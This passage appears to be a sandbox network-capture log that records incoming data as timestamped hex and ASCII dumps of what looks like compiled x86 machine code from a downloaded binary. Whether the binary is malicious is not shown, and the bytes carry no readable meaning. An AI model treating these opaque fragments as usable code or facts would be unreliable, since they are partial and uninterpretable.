2023-08-02 08:46:25 UTC	2351	IN	Data Raw: ff 75 d0 8b f0 e8 1c ef fe ff ff 75 dc e8 14 ef fe ff ff 75 c4 e8 0c ef fe ff 8b 45 f0 83 4d fc ff 83 c4 0c 3b c3 74 06 8b 08 50 ff 51 08 8b c6 e9 65 01 00 00 ff 75 1c 8d 45 b8 8d 4d c4 50 e8 63 e8 fe ff 50 8d 4d dc c6 45 fc 05 e8 e3 92 fe ff ff 75 b8 c6 45 fc 04 e8 c9 ee fe ff 59 8d 45 b8 ff 75 1c 8d 4d c4 50 e8 6a e7 fe ff 50 8d 4d d0 c6 45 fc 06 e8 ba 92 fe ff ff 75 b8 c6 45 fc 04 e8 a0 ee fe ff 59 8d 45 d0 50 8d 45 dc 50 8b ce e8 a5 02 00 00 eb 10 8b 45 18 8b 56 08 8b 08 8d 46 08 51 50 ff 52 0c ff 75 f0 8b cf ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 a1 f9 ff ff 3b c3 89 45 18 74 34 ff 75 d0 e8 56 ee fe ff ff 75 dc e8 4e ee fe ff ff 75 c4 e8 46 ee fe ff 8b 45 f0 83 4d fc ff 83 c4 0c 3b c3 74 06 8b 08 50 ff 51 08 8b 45 18 e9 9e 00 00 00 8d 45 d0 Data Ascii: uuuEM;tPQeuEMPcPMEuEYEuMPjPMEuEYEPEPEVFQPRuuuuuu;Et4uVuNuFEM;tPQEE
2023-08-02 08:46:25 UTC	2367	IN	Data Raw: 74 07 8b 10 51 8b c8 ff 12 ff 45 f8 83 45 fc 0c 8b 45 f8 3b 43 08 0f 8c 77 ff ff ff 8b 4d 08 e8 1a bc fe ff 5f 5e 5b c9 c2 08 00 a1 e8 c3 48 00 68 58 d3 47 00 89 45 f0 8d 45 f0 50 e8 c1 ed 04 00 a1 e8 c3 48 00 68 58 d3 47 00 89 45 ec 8d 45 ec 50 e8 ab ed 04 00 8b 44 24 08 83 f8 01 72 07 b8 57 00 07 80 eb 2b 8b 54 24 10 8d 04 40 8b 0c 85 1c c4 48 00 8d 04 85 18 c4 48 00 89 0a 8b 4c 24 14 66 8b 40 08 66 89 01 8b 44 24 0c 83 20 00 33 c0 c2 14 00 b8 28 56 47 00 e8 ff ec 04 00 83 ec 10 33 c9 66 89 4d e4 66 89 4d e6 83 7d 0c 2c 89 4d fc 75 16 8b 45 08 38 48 30 74 0e ff 70 24 8d 4d e4 ff 70 20 e8 03 f6 fe ff ff 75 10 8d 4d e4 e8 ea f6 fe ff 83 4d fc ff 8d 4d e4 e8 3b f6 fe ff 8b 4d f4 33 c0 64 89 0d 00 00 00 00 c9 c2 0c 00 b8 3c 56 47 00 e8 a2 ec 04 00 83 ec 10 Data Ascii: tQEEE;CwM_^[HhXGEEPHhXGEEPD$rW+T$@HHL$f@fD$ 3(VG3fMfM},MuE8H0tp$Mp uMMM;M3d<VG
2023-08-02 08:46:25 UTC	2383	IN	Data Raw: eb 12 48 48 e9 9d f8 ff ff b8 01 0b 42 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 10 00 b8 4c 5c 47 00 e8 6f ad 04 00 83 ec 34 53 56 8b f1 57 33 db 6a 03 8d 4d e4 89 5d f0 89 5d e4 89 5d e8 89 5d ec e8 59 13 fe ff 38 5e 18 8b 7e 10 89 5d fc 0f 84 4b 01 00 00 89 7d f0 4f 3b fb 7c 66 8b 46 0c 66 8b 1c 78 66 83 fb 7a 75 26 8d 45 e4 66 ba 61 00 50 8d 4d d8 e8 de 0b 00 00 50 8d 4d e4 c6 45 fc 01 e8 a4 12 fe ff 80 65 fc 00 ff 75 d8 eb 2a 66 83 fb 5a 75 63 8d 45 e4 66 ba 41 00 50 8d 4d cc e8 b2 0b 00 00 50 8d 4d e4 c6 45 fc 02 e8 78 12 fe ff 80 65 fc 00 ff 75 cc e8 5e 6e fe ff 4f 59 79 9a 8d 7e 0c 8d 45 e4 50 8b cf e8 5a 12 fe ff 8b 4d 08 57 8b d6 e8 c9 a4 fe ff ff 75 e4 e8 39 6e fe ff 8b 45 08 59 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 Data Ascii: HHBM_^d[L\Go4SVW3jM]]]]Y8^~]K}O;\|fFfxfzu&EfaPMPMEeu*fZucEfAPMPMExeu^nOYy~EPZMWu9nEYM_^[d
2023-08-02 08:46:25 UTC	2399	IN	Data Raw: 00 a1 8c c9 48 00 a3 cc 0c 49 00 c3 8b 15 8c c9 48 00 56 8d 71 14 8b ce e8 1e 00 00 00 84 c0 75 15 8b 15 90 c9 48 00 8b ce e8 0d 00 00 00 84 c0 75 04 33 c0 5e c3 6a 01 58 5e c3 8b 09 e8 46 35 fe ff f7 d8 1b c0 40 c3 b8 80 64 47 00 e8 4c 6d 04 00 83 ec 24 53 56 8b 71 3c 57 8b 7d 08 83 7f 18 00 75 0e ff 35 cc 0c 49 00 8d 4f 14 e8 2f ea fd ff 8b cf e8 93 ff ff ff 84 c0 0f 84 42 01 00 00 83 fe 09 72 07 b8 00 00 00 04 eb 27 83 fe 07 72 07 b8 00 00 00 02 eb 1b 83 fe 05 72 07 b8 00 00 00 01 eb 0f 83 fe 03 1b c0 25 00 00 f1 ff 05 00 00 10 00 83 fe 05 8b 0d a8 c9 48 00 1b db 43 83 fe 07 1b ff 83 e7 e0 83 c7 40 83 fe 05 73 06 8b 0d a4 c9 48 00 66 83 65 e2 00 89 4d f0 66 c7 45 e0 13 00 89 45 e8 8b 4d 08 83 65 fc 00 8d 45 e0 50 6a 01 5a e8 69 03 00 00 83 ce ff 8d 4d Data Ascii: HIHVquHu3^jX^F5@dGLm$SVq<W}u5IO/Br'rr%HC@sHfeMfEEMeEPjZiM
2023-08-02 08:46:25 UTC	2415	IN	Data Raw: 6b 47 00 e8 96 2d 04 00 51 56 8b f1 89 75 f0 8d 8e 94 00 00 00 c7 45 fc 03 00 00 00 e8 f1 fa fd ff 8d 4e 7c c6 45 fc 02 e8 e5 fa fd ff 8d 4e 68 c6 45 fc 01 e8 d9 fa fd ff 80 65 fc 00 8d 4e 54 e8 cd fa fd ff 83 4d fc ff 8d 4e 04 e8 f2 aa ff ff 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 8b c1 83 60 04 00 83 60 08 00 c7 00 ec a7 47 00 c3 8b c1 33 c9 89 48 04 89 48 08 89 48 0c c7 40 10 04 00 00 00 c7 00 78 b1 47 00 c3 b8 9c 6b 47 00 e8 0a 2d 04 00 51 56 8b f1 89 75 f0 c7 06 00 b3 47 00 83 65 fc 00 e8 91 fa fd ff 83 4d fc ff 8b ce e8 5d fa fd ff 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 b8 b2 6b 47 00 e8 d2 2c 04 00 51 56 8b f1 6a 28 e8 29 ee fd ff 59 8b c8 89 4d f0 33 c0 3b c8 89 45 fc 74 08 ff 75 08 e8 e2 02 00 00 83 4d fc ff 50 8b ce e8 81 d0 fe ff 8b 4d f4 5e 64 Data Ascii: kG-QVuEN\|ENhEeNTMNM^d``G3HHH@xGkG-QVuGeM]M^dkG,QVj()YM3;EtuMPM^d
2023-08-02 08:46:25 UTC	2431	IN	Data Raw: 65 fc 00 e8 1e af fd ff 8b 75 08 59 eb 2a 50 51 8d 4e 0c e8 c4 8b ff ff 85 c0 74 0f 8b f0 ff 75 e4 e8 00 af fd ff 59 8b c6 eb 22 ff 75 e4 80 65 fc 00 e8 ef ae fd ff 59 43 e9 46 ff ff ff 33 c0 eb 0b b8 3a cb 42 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 10 00 56 8b f2 57 8b f9 8d 46 0c 8d 56 08 50 e8 3e 00 00 00 85 c0 75 37 8b 07 66 83 38 3a 74 07 b8 57 00 07 80 eb 28 6a 01 6a 00 8b cf e8 25 aa fd ff 8d 46 04 8b d6 50 8b cf e8 13 00 00 00 85 c0 75 0c 8b 47 04 f7 d8 1b c0 25 57 00 07 80 5f 5e c3 56 57 8b 7c 24 0c 8b f1 83 27 00 e8 0a 98 ff ff 85 c0 74 2a 50 6a 00 8b ce e8 e7 a9 fd ff 8b 06 66 83 38 53 75 29 6a 01 6a 00 8b ce e8 d4 a9 fd ff 8b d7 8b ce e8 e0 97 ff ff 85 c0 75 07 b8 57 00 07 80 eb 0c 50 6a 00 8b ce e8 b6 a9 fd ff 33 c0 Data Ascii: euYPQNtuY"ueYCF3:BM_^d[VWFVP>u7f8:tW(jj%FPuG%W_^VW\|$'tPjf8Su)jjuWPj3
2023-08-02 08:46:25 UTC	2447	IN	Data Raw: 24 0c 8b f1 3b 7e 1c 7c 13 53 8d 5e 14 6a 00 8b cb e8 27 a1 00 00 3b 7e 1c 7d f2 5b 8b 4e 20 8a 44 24 10 84 c0 88 04 39 74 24 3b 7e 08 7c 0d 6a 00 6a 00 8b ce e8 73 2d ff ff eb ee 8b 46 0c 8b 4c 24 14 89 0c f8 8b 4c 24 18 89 4c f8 04 5f 5e c2 10 00 b8 48 78 47 00 e8 41 ad 03 00 83 ec 14 56 57 8b f9 8d b7 58 02 00 00 8b ce e8 ca 7a fd ff 81 c7 c8 01 00 00 8d 4d e0 57 e8 2f 3b ff ff 6a 0e 33 ff 5a 8d 4d e0 89 7d fc e8 3f 01 00 00 6a 0f 8d 4d e0 5a e8 34 01 00 00 6a 11 8b d6 8d 4d e0 e8 d7 00 00 00 6a 10 8b d6 8d 4d e0 e8 cb 00 00 00 6a 09 8b d6 8d 4d e0 e8 bf 00 00 00 6a 06 8b d6 8d 4d e0 e8 b3 00 00 00 6a 12 8b d6 8d 4d e0 e8 a7 00 00 00 6a 14 8b d6 8d 4d e0 e8 9b 00 00 00 6a 13 8b d6 8d 4d e0 e8 8f 00 00 00 6a 15 8b d6 8d 4d e0 e8 83 00 00 00 6a 0a 8b d6 Data Ascii: $;~\|S^j';~}[N D$9t$;~\|jjs-FL$L$L_^HxGAVWXzMW/;j3ZM}?jMZ4jMjMjMjMjMjMjMjMj
2023-08-02 08:46:25 UTC	2463	IN	Data Raw: 3b c3 0f 85 3f 01 00 00 39 5e 18 74 65 8b ce e8 8f fc ff ff ff 46 28 8b f8 3b fb c6 46 39 01 75 1c 8b 4e 34 3b cb 74 15 8b 56 10 3b d3 74 0e 8b 46 48 2b 46 20 50 e8 df af fd ff 8b f8 39 5e 10 75 16 80 7e 1c 00 74 10 39 5e 34 74 0b 6a 01 8b ce e8 0f fc ff ff eb 07 8b ce e8 32 fc ff ff 3b c3 0f 85 e0 00 00 00 3b fb 74 9d 8b c7 e9 d5 00 00 00 80 66 1c 00 83 7d ec 00 0f 87 b3 00 00 00 8b 5d 10 e9 d1 fe ff ff 8b 46 0c 8b 4e 28 8b 40 08 3b c8 7d 3a 8b 46 08 8b 56 24 03 d1 33 ff 8b 48 20 8b 40 0c 8d 0c d1 8b 11 8b 49 04 8b 04 90 8b 56 48 8b 40 70 8b 04 88 8b 48 10 89 4e 3c 8b 4e 4c 8b 40 0c 3b f9 77 17 72 04 3b c2 73 07 b8 05 40 00 80 eb 71 3b f9 72 2c 77 04 3b c2 76 26 8b c8 2b 4e 48 3b 4d 0c 72 03 8b 4d 0c 01 4d ec 85 db 74 05 8b 55 ec 89 13 01 4d 08 29 4d 0c Data Ascii: ;?9^teF(;F9uN4;tV;tFH+F P9^u~t9^4tj2;;tf}]FN(@;}:FV$3H @IVH@pHN<NL@;wr;s@q;r,w;v&+NH;MrMMtUM)M
2023-08-02 08:46:25 UTC	2479	IN	Data Raw: e8 7a 03 00 00 8d 46 18 8d 8d 18 fe ff ff 50 6a 08 5b 8b d3 e8 1e 03 00 00 84 c0 0f 84 c9 01 00 00 8d 7e 1c 8b d3 57 8d 8d 20 fe ff ff e8 05 03 00 00 84 c0 75 03 83 27 00 8d 7e 20 8b d3 57 8d 8d 28 fe ff ff e8 ed 02 00 00 84 c0 75 03 83 27 00 0f b6 85 30 fe ff ff 0f b6 8d 31 fe ff ff c1 e0 08 0b c1 0f b6 8d 32 fe ff ff c1 e0 08 0b c1 0f b6 8d 33 fe ff ff c1 e0 08 0b c1 3d 00 00 00 80 8d 46 10 89 45 0c 75 6a 0f b6 85 34 fe ff ff 0f b6 8d 35 fe ff ff c1 e0 08 0b c1 0f b6 8d 36 fe ff ff c1 e0 08 0b c1 0f b6 8d 37 fe ff ff 0f b6 bd 39 fe ff ff c1 e0 08 0b c1 33 c9 8b d0 0f b6 85 38 fe ff ff c1 e0 08 0b c7 0f b6 bd 3a fe ff ff c1 e0 08 0b c7 0f b6 bd 3b fe ff ff c1 e0 08 0b c7 33 ff 0b c8 8b 45 0c 0b d7 89 08 89 50 04 eb 17 50 6a 0c 5a 8d 8d 30 fe ff ff e8 df Data Ascii: zFPj[~W u'~ W(u'0123=FEuj4567938:;3EPPjZ0
2023-08-02 08:46:25 UTC	2495	IN	Data Raw: 65 fc 00 8d 4d 80 e8 56 00 00 00 33 c0 eb 0b b8 07 cb 43 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 14 00 8b c1 33 c9 89 08 89 48 04 89 48 08 89 48 0c 89 48 10 89 48 14 89 48 18 89 48 1c 89 48 20 89 48 28 89 48 2c 89 48 30 c7 40 34 04 00 00 00 c7 40 24 30 b8 47 00 c3 b8 a7 87 47 00 e8 33 ed 02 00 51 51 56 8b f1 57 89 75 f0 83 65 fc 00 8d 7e 24 89 7d ec c7 07 30 b8 47 00 8b cf c6 45 fc 05 e8 ac ba fc ff 8b cf c6 45 fc 04 e8 78 ba fc ff 8b 46 20 c6 45 fc 03 85 c0 74 06 8b 08 50 ff 51 08 8b 46 1c c6 45 fc 02 85 c0 74 06 8b 08 50 ff 51 08 8b 46 14 c6 45 fc 01 85 c0 74 06 8b 08 50 ff 51 08 8b 46 10 80 65 fc 00 85 c0 74 06 8b 08 50 ff 51 08 8b 76 0c 83 4d fc ff 85 f6 74 06 8b 06 56 ff 50 08 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 c9 c3 e9 53 Data Ascii: eMV3CM_^d[3HHHHHHHH H(H,H0@4@$0GG3QQVWue~$}0GEExF EtPQFEtPQFEtPQFetPQvMtVPM_^dS
2023-08-02 08:46:25 UTC	2511	IN	Data Raw: e8 fe fc ff ff 8a 46 40 8b cf 50 e8 c1 fc ff ff 8a 46 41 8b cf 50 e8 b6 fc ff ff 8a 06 80 7d fd 00 88 45 f8 74 08 3c 2d 73 04 c6 45 f8 2d ff 75 f8 8b cf e8 99 fc ff ff 8a 46 01 8b cf 50 e8 8e fc ff ff 66 8b 46 02 8b cf 50 e8 91 fc ff ff 66 8b 46 04 8b cf 50 e8 85 fc ff ff ff 76 08 8b cf e8 9e fc ff ff ff 76 0c 8b cf e8 94 fc ff ff 80 7d ff 00 74 05 83 c8 ff eb 03 8b 46 10 50 8b cf e8 7e fc ff ff 80 7d 0b 00 74 05 83 c8 ff eb 03 8b 46 18 53 50 8b cf e8 67 fc ff ff ff 76 24 8b cf e8 3a fc ff ff 8a 5d fe 8a 45 ff f6 db 1b db 83 e3 08 f6 d8 1b c0 83 e0 08 03 d8 8a 45 0b f6 d8 1b c0 83 e0 08 03 d8 8a 45 fd f6 d8 8d 4b 04 1b c0 23 c1 8a 8e 8a 00 00 00 f6 d9 1b c9 83 e1 24 03 c1 8d 4e 68 89 45 f8 e8 83 fe ff ff 01 45 f8 8b cf ff 75 f8 e8 e5 fb ff ff ff b6 80 00 Data Ascii: F@PFAP}Et<-sE-uFPfFPfFPvv}tFP~}tFSPgv$:]EEEK#$NhEEu
2023-08-02 08:46:25 UTC	2527	IN	Data Raw: 4e 24 c7 44 24 78 ff ff ff ff e8 6b 32 ff ff 8d 4e 4c e8 63 32 ff ff 8d 4e 74 e8 5b 32 ff ff 8b 86 b4 00 00 00 85 c0 74 10 8b 10 50 ff 52 08 c7 86 b4 00 00 00 00 00 00 00 8b c7 e9 c9 00 00 00 8b 44 24 14 c6 44 24 78 00 85 c0 74 06 8b 08 50 ff 51 08 8b 74 24 10 c7 44 24 78 ff ff ff ff 8d 4e 24 e8 13 32 ff ff 8d 4e 4c e8 0b 32 ff ff 8b 46 74 33 db 3b c3 74 09 8b 10 50 ff 52 08 89 5e 74 8b 86 b4 00 00 00 3b c3 74 0c 8b 08 50 ff 51 08 89 9e b4 00 00 00 8b c7 eb 6e 8b 44 24 14 c6 44 24 78 00 3b c3 74 06 8b 10 50 ff 52 08 8b 74 24 10 c7 44 24 78 ff ff ff ff 8b 46 24 3b c3 74 09 8b 08 50 ff 51 08 89 5e 24 8b 46 4c 3b c3 74 09 8b 10 50 ff 52 08 89 5e 4c 8b 46 74 3b c3 74 09 8b 08 50 ff 51 08 89 5e 74 8b 86 b4 00 00 00 3b c3 74 a3 8b 10 50 ff 52 08 89 9e b4 00 00 Data Ascii: N$D$xk2NLc2Nt[2tPRD$D$xtPQt$D$xN$2NL2Ft3;tPR^t;tPQnD$D$x;tPRt$D$xF$;tPQ^$FL;tPR^LFt;tPQ^t;tPR
2023-08-02 08:46:25 UTC	2543	IN	Data Raw: 9c 70 02 00 00 8b 2a 83 c2 04 03 cd 46 3b c8 72 f4 8d 6e ff 3b eb 7e 20 3b 7c 24 18 74 1a 83 ff 01 74 15 8b 54 24 10 83 e2 01 80 fa 01 75 09 8b f5 2b 8c b4 70 02 00 00 8b 6c 24 24 33 c0 3b c3 7c 08 3b c6 7d 04 33 d2 eb 05 ba 01 00 00 00 88 14 28 8b 54 24 38 40 3b c2 7c e3 8b 44 24 1c 8b de 8b 74 24 10 2b c1 4f 46 81 ed 02 01 00 00 89 44 24 1c 85 ff 89 74 24 10 89 6c 24 24 0f 85 6f ff ff ff 8b 6c 24 54 c7 44 24 28 04 00 00 00 8b 5c 24 18 33 d2 8d b5 20 06 00 00 33 c0 8b fe 42 b9 02 01 00 00 81 c6 08 04 00 00 3b d3 f3 ab 7c ea 33 c9 8d 85 80 36 00 00 89 4c 24 34 89 44 24 1c 8b 54 24 3c 33 ff 8d 74 24 70 33 c0 8a 04 11 41 3d ff 00 00 00 72 08 33 db 8a 1c 11 03 c3 41 89 06 47 83 c6 04 83 ff 32 7d 06 3b 4c 24 20 72 da 89 4c 24 30 c7 44 24 24 ff ff ff ff c7 44 Data Ascii: p*F;rn;~ ;\|$ttT$u+pl$$3;\|;}3(T$8@;\|D$t$+OFD$t$l$$ol$TD$(\$3 3B;\|36L$4D$T$<3t$p3A=r3AG2};L$ rL$0D$$D
2023-08-02 08:46:25 UTC	2559	IN	Data Raw: 8b c2 89 56 04 3b c1 75 07 8b ce e8 bb 24 fc ff 8b 4e 28 c7 46 28 08 00 00 00 d3 eb 85 ff c6 46 2c 00 77 b0 e9 78 02 00 00 25 ff ff 00 00 33 d2 33 c9 89 44 24 14 8a 90 f0 13 49 00 8d b5 70 04 00 00 89 54 24 1c 8a 8c 2a 3d 08 00 00 8b 9c 95 80 11 00 00 8b f9 85 ff 76 7d 8b 46 28 3b f8 72 4b b9 08 00 00 00 2b f8 2b c8 8a c3 8b 2e d2 e0 8a 4e 2c 0a c1 8b 4e 04 88 04 29 8b 6e 04 8b 4e 08 45 8b c5 89 6e 04 3b c1 75 0b 8b ce e8 39 24 fc ff 8b 54 24 1c 8b 4e 28 c7 46 28 08 00 00 00 d3 eb 85 ff c6 46 2c 00 77 b0 eb 23 8b 6e 28 b0 01 8b cf d2 e0 b9 08 00 00 00 2b cd fe c8 22 c3 d2 e0 8a 4e 2c 0a c8 2b ef 88 4e 2c 89 6e 28 8b 44 24 14 8b 6c 24 10 8b 8d e0 04 00 00 33 db 8a 1c 11 8b 8d dc 04 00 00 8b fb 33 db 8a 1c 11 2b c3 85 ff 8b d8 76 71 8b 46 28 3b f8 72 47 b9 Data Ascii: V;u$N(F(F,wx%33D$IpT$*=v}F(;rK++.N,N)nNEn;u9$T$N(F(F,w#n(+"N,+N,n(D$l$33+vqF(;rG
2023-08-02 08:46:25 UTC	2575	IN	Data Raw: 00 00 00 00 5e c3 90 90 90 90 90 90 90 90 56 8b 74 24 08 8d 4e 30 e8 94 e4 fb ff 85 c0 75 0b 8b 8e ac 1c 00 00 e8 c4 fc ff ff 5e c2 04 00 51 8b 41 2c 56 8d 71 08 8b 54 24 0c b9 0f 00 00 00 57 8b 7e 20 2b c8 d3 ef b9 11 00 00 00 03 c2 2b ca 89 46 24 81 e7 ff ff 01 00 d3 ef 83 f8 10 72 72 8b 06 8b 4e 04 3b c1 72 0d 8b ce e8 0e d5 fb ff 88 44 24 08 eb 09 8a 08 40 88 4c 24 08 89 06 8b 06 8b 4e 04 3b c1 72 0d 8b ce e8 ef d4 fb ff 88 44 24 10 eb 09 8a 10 40 88 54 24 10 89 06 8b 46 20 8b 4c 24 10 8b 54 24 08 81 e1 ff 00 00 00 c1 e0 08 0b c1 8b 4e 24 c1 e0 08 81 e2 ff 00 00 00 83 c1 f0 0b c2 89 4e 24 89 46 20 8b c1 83 f8 10 73 8e 8b c7 5f 5e 59 c2 04 00 90 90 90 90 81 ec b4 00 00 00 53 55 56 33 db 57 8b e9 33 f6 6a 04 8b cd e8 37 ff ff ff 88 44 34 28 46 83 fe 14 Data Ascii: ^Vt$N0u^QA,VqT$W~ ++F$rrN;rD$@L$N;rD$@T$F L$T$N$N$F s_^YSUV3W3j7D4(F
2023-08-02 08:46:25 UTC	2591	IN	Data Raw: 90 b1 47 00 c7 41 04 80 b1 47 00 e9 ae ff ff ff 90 90 90 90 90 90 90 90 90 90 90 90 90 90 6a ff 68 9e 9b 47 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 81 ec 94 00 00 00 53 55 8b e9 56 57 8d 4c 24 1c e8 48 94 fb ff 33 ff 89 bc 24 ac 00 00 00 89 7c 24 40 89 7c 24 44 89 7c 24 54 89 7c 24 60 68 00 00 10 00 8d 4c 24 20 c6 84 24 b0 00 00 00 01 e8 2c 94 fb ff 84 c0 75 62 8d 4c 24 40 c6 84 24 ac 00 00 00 02 e8 34 a3 fb ff 8b 44 24 54 c6 84 24 ac 00 00 00 00 3b c7 74 06 8b 08 50 ff 51 08 8d 4c 24 1c c7 84 24 ac 00 00 00 03 00 00 00 e8 2b 94 fb ff 8b 44 24 28 c7 84 24 ac 00 00 00 ff ff ff ff 3b c7 0f 84 90 00 00 00 8b 10 50 ff 52 08 b8 0e 00 07 80 e9 26 06 00 00 8b 84 24 b4 00 00 00 8d 4c 24 1c 50 e8 04 94 fb ff 8d 4c 24 1c e8 0a 94 fb ff 68 00 00 10 00 8d 4c 24 Data Ascii: GAGjhGdPd%SUVWL$H3$\|$@\|$D\|$T\|$`hL$ $,ubL$@$4D$T$;tPQL$$+D$($;PR&$L$PL$hL$
2023-08-02 08:46:25 UTC	2607	IN	Data Raw: ff ff 5f 5e 5b 83 f9 03 76 11 8b 54 24 18 33 c0 89 02 8b c5 5d 83 c4 0c c2 0c 00 8b 54 24 18 49 d3 e0 83 e0 07 89 02 8b c5 5d 83 c4 0c c2 0c 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 2c 83 fa 10 73 08 33 c0 83 c4 2c c2 08 00 8b 44 24 30 53 55 83 ea 10 56 2b c1 57 89 54 24 28 c7 44 24 10 00 00 00 00 8b f9 89 44 24 24 90 0f b6 07 83 e0 1f 0f b6 88 bc c5 47 00 b8 05 00 00 00 33 f6 89 4c 24 20 89 44 24 1c 89 74 24 18 8b 54 24 20 8b ce d3 ea f6 c2 01 0f 84 84 01 00 00 8b f0 8b c8 c1 ee 03 0f b6 44 37 05 99 0f a4 c2 08 c1 e0 08 8b d8 0f b6 44 37 04 8b ea 99 83 e1 07 03 d8 0f b6 44 37 03 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 44 37 02 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 44 37 01 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 04 37 13 ea 0f a4 dd 08 Data Ascii: _^[vT$3]T$I],s3,D$0SUV+WT$(D$D$$G3L$ D$t$T$ D7D7D7D7D77
2023-08-02 08:46:25 UTC	2623	IN	Data Raw: 75 08 8b d1 c7 02 02 00 00 00 83 7e 78 08 0f 85 da fd ff ff e9 5f fd ff ff bd 01 00 00 00 e9 61 fd ff ff 8b 44 24 48 c7 00 02 00 00 00 e9 50 fd ff ff 8b 4c 24 48 c7 01 03 00 00 00 e9 41 fd ff ff 8b 54 24 48 c7 02 03 00 00 00 e9 32 fd ff ff 8b e8 e9 2d fd ff ff 5f 5e 8b c5 5d 5b 83 c4 24 c2 14 00 5f 5e 5d 33 c0 5b 83 c4 24 c2 14 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 08 8b 4c 24 10 8b 01 53 33 db 39 5f 18 55 8b 6c 24 14 0f 95 c3 89 44 24 0c c7 44 24 14 00 00 20 00 c7 01 00 00 00 00 83 c3 05 3b c3 73 0d 5d b8 07 00 00 00 5b 83 c4 08 c2 0c 00 8b 0f 2b c3 89 44 24 08 e8 a6 25 00 00 8b 57 14 8d 44 24 14 50 68 00 00 01 00 8d 4c 24 10 51 8b 0f 03 dd 53 e8 6a 62 00 00 8b 54 24 14 85 d2 0f 84 9f 01 00 00 56 85 c0 75 2c 8b 74 24 0c 8d 46 02 3b c2 73 Data Ascii: u~x_aD$HPL$HAT$H2-_^][$_^]3[$L$S39_Ul$D$D$ ;s][+D$%WD$PhL$QSjbT$Vu,t$F;s
2023-08-02 08:46:25 UTC	2639	IN	Data Raw: 0f b6 8c 24 80 00 00 00 57 8d bd a0 0e 03 00 e8 da f0 ff ff eb 50 0f b6 84 24 80 00 00 00 c7 44 24 34 00 00 00 00 0d 00 01 00 00 8d 49 00 8b c8 c1 e9 08 0f b7 14 4f 8b c8 c1 e9 07 83 e1 01 f7 d9 c1 f9 04 83 e1 7f c1 ea 04 33 d1 8b 4c 24 34 03 8c 95 a0 0e 03 00 03 c0 89 4c 24 34 3d 00 00 01 00 72 ca 8b c1 8b 54 24 2c 03 d0 89 54 24 2c 3b 93 d0 06 00 00 73 2c 89 93 d0 06 00 00 8b 54 24 14 89 93 e8 06 00 00 c7 83 ec 06 00 00 ff ff ff ff c7 83 d8 06 00 00 00 00 00 00 c7 44 24 28 01 00 00 00 8b 4c 24 40 0f b7 84 4d b0 25 03 00 0f b7 94 75 30 27 03 00 35 f0 07 00 00 c1 e8 04 8b 84 85 a0 0e 03 00 03 44 24 24 81 f2 f0 07 00 00 c1 ea 04 8b bc 95 a0 0e 03 00 8b 54 24 14 03 f8 89 44 24 58 8a 84 24 80 00 00 00 89 7c 24 48 38 44 24 13 75 61 39 93 e8 06 00 00 73 09 83 Data Ascii: $WP$D$4IO3L$4L$4=rT$,T$,;s,T$D$(L$@M%u0'5D$$T$D$X$\|$H8D$ua9s
2023-08-02 08:46:25 UTC	2655	IN	Data Raw: 24 14 8a 48 02 80 f9 07 73 14 fe 48 03 75 0f 66 d1 20 b2 03 d2 e2 fe c1 88 48 02 88 50 03 89 7e 08 8a 1f 8b ce e8 14 fb ff ff 5f 5e 5d 0f b6 c3 5b 81 c4 0c 05 00 00 c3 5f 5e 5d b8 fe ff ff ff 5b 81 c4 0c 05 00 00 c3 cc cc cc cc cc cc 33 c0 89 01 89 41 04 c7 41 08 ff ff ff ff 88 41 0c c7 41 10 01 00 00 00 89 41 14 c3 cc cc cc cc 8b 46 08 33 d2 f7 74 24 0c 53 bb 00 00 00 00 8b c8 0f af 4c 24 08 01 0e 11 5e 04 0f af 44 24 0c 89 46 08 3d 00 00 00 01 73 78 55 57 83 cd ff 90 8b 3e c1 66 08 08 81 ff 00 00 00 ff 72 10 8b 56 04 8b c7 b1 20 e8 36 67 00 00 85 c0 74 3a 8a 5e 0c 8b 06 8b 56 04 8b 7e 18 b1 20 e8 20 67 00 00 8b ca 8d 14 03 8b 07 8b cf ff d0 80 cb ff 01 6e 10 8b 46 10 11 6e 14 0b 46 14 75 d5 8b 3e 8b cf c1 e9 18 88 4e 0c 33 db 83 46 10 01 89 5e 04 11 5e Data Ascii: $HsHuf HP~_^][_^][3AAAAAF3t$SL$^D$F=sxUW>frV 6gt:^V~ gnFnFu>N3F^^
2023-08-02 08:46:25 UTC	2671	IN	Data Raw: 89 51 58 89 41 5c 89 41 60 89 81 a8 00 00 00 89 81 bc 00 00 00 89 81 d0 00 00 00 89 81 e4 00 00 00 89 01 89 41 04 89 41 48 89 41 4c c3 cc 83 c1 58 e9 98 f9 ff ff cc cc cc cc cc cc cc cc 83 ec 58 8b 44 24 5c 53 8b 5c 24 68 55 8b 6c 24 68 56 57 89 54 24 10 8b 13 8b f9 8b 08 c7 00 00 00 00 00 8b 44 24 7c c7 03 00 00 00 00 89 4c 24 1c 89 54 24 18 c7 00 00 00 00 00 eb 03 8d 49 00 8b 0b 8b 74 24 18 8b 07 2b f1 89 74 24 74 83 f8 06 0f 85 17 01 00 00 8b 44 24 1c 8b 4c 24 6c 2b 01 89 74 24 70 89 44 24 74 85 f6 75 08 85 c0 0f 84 91 05 00 00 8b 54 24 7c 8b 44 24 78 52 50 6a 00 8d 4c 24 7c 51 55 8d 94 24 88 00 00 00 52 8b 54 24 28 8d 4f 58 e8 d5 f9 ff ff 8b 74 24 74 8b 54 24 10 56 8d 8f 90 01 00 00 89 44 24 18 e8 ad f1 ff ff 8b 44 24 70 01 03 8b 4c 24 6c 03 e8 01 47 Data Ascii: QXA\A`AAHALXXD$\S\$hUl$hVWT$D$\|L$T$It$+t$tD$L$l+t$pD$tuT$\|D$xRPjL$\|QU$RT$(OXt$tT$VD$D$pL$lG
